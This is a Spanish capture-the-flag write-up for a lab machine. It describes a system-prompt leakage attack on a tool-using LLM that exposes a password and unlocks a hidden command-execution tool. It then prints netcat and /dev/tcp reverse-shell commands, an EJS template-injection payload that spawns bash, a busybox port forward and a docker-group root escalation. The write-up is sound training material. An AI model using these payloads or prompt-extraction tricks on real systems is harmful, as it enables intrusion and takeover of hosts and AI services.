Write-ups

Resolución del CTF: Despromptado


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.1.101
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los puertos 22 y 80. El servicio HTTP redirige a un dominio virtual, por lo que lo resolvemos localmente.

echo "192.168.1.101 www.despromptado.thl despromptado.thl" | sudo tee -a /etc/hosts

Exposición del LLM

Accedemos al servicio web y detectamos un LLM con soporte de herramientas. Enumeramos las herramientas disponibles desde una conversación limpia.

Inicialmente se exponen fetch_url y exec_command, ambas inutilizables para progresar debido a sus restricciones.

Filtración del System Prompt

Ejecutamos un ataque de System Prompt Leakage forzando al modelo a revelar sus instrucciones internas. Tras varios intentos, obtenemos una contraseña y la referencia a una herramienta no expuesta.

Tras introducir la contraseña filtrada en una nueva conversación, el modelo habilita la herramienta exec_command_online, que permite ejecución de comandos con acceso a red.

RCE inicial mediante LLM

Preparamos un listener en nuestra máquina atacante.

nc -lvnp 12345

Forzamos al LLM a ejecutar un comando mediante exec_command_online para obtener una shell inversa.

nc 192.168.1.196 12345 -e sh

Obtenemos acceso interactivo dentro de un contenedor Docker como el usuario appuser.

Enumeración interna y pivoting

Confirmamos que estamos dentro de un contenedor y que existe conectividad hacia la red del host.

hostname; id; ls -l /.dockerenv

Escaneamos los puertos del host desde el contenedor utilizando capacidades nativas de bash.

export ip=127.0.0.1; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port" 2>/dev/null && echo "OPEN $port"; done

Identificamos un servicio HTTP adicional escuchando únicamente en 127.0.0.1:3001.

Exposición del servicio interno

Redirigimos el servicio local al exterior usando netcat de busybox.

nohup sh -c 'while true; do busybox nc -l -p 3002 -s 0.0.0.0 -e sh -c "busybox nc 127.0.0.1 3001"; done' >/tmp/nc-forward.log 2>&1 &

Desde fuera accedemos correctamente al servicio a través del puerto 3002.

SSTI y RCE en aplicación interna

La aplicación corresponde a un tablón interno vulnerable a Server-Side Template Injection en el campo de contenido.

<%= require('node:child_process').spawnSync('id',['-a'],{encoding:'utf8'}).stdout %>

Confirmamos ejecución remota de comandos como el usuario agent.

Establecemos una nueva shell inversa desde la aplicación.

nc -lvnp 1230
<%= require('node:child_process').spawnSync('bash',['-c','bash -i >& /dev/tcp/192.168.1.196/1230 0>&1'],{encoding:'utf8'}).stdout %>

Escalada de privilegios

El usuario agent pertenece al grupo docker, lo que permite control total del host mediante el daemon.

docker run -it --rm -v /:/mnt alpine chroot /mnt bash

Obtenemos una shell como root sobre el sistema anfitrión y accedemos a los archivos privilegiados.

cat /root/root.txt

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *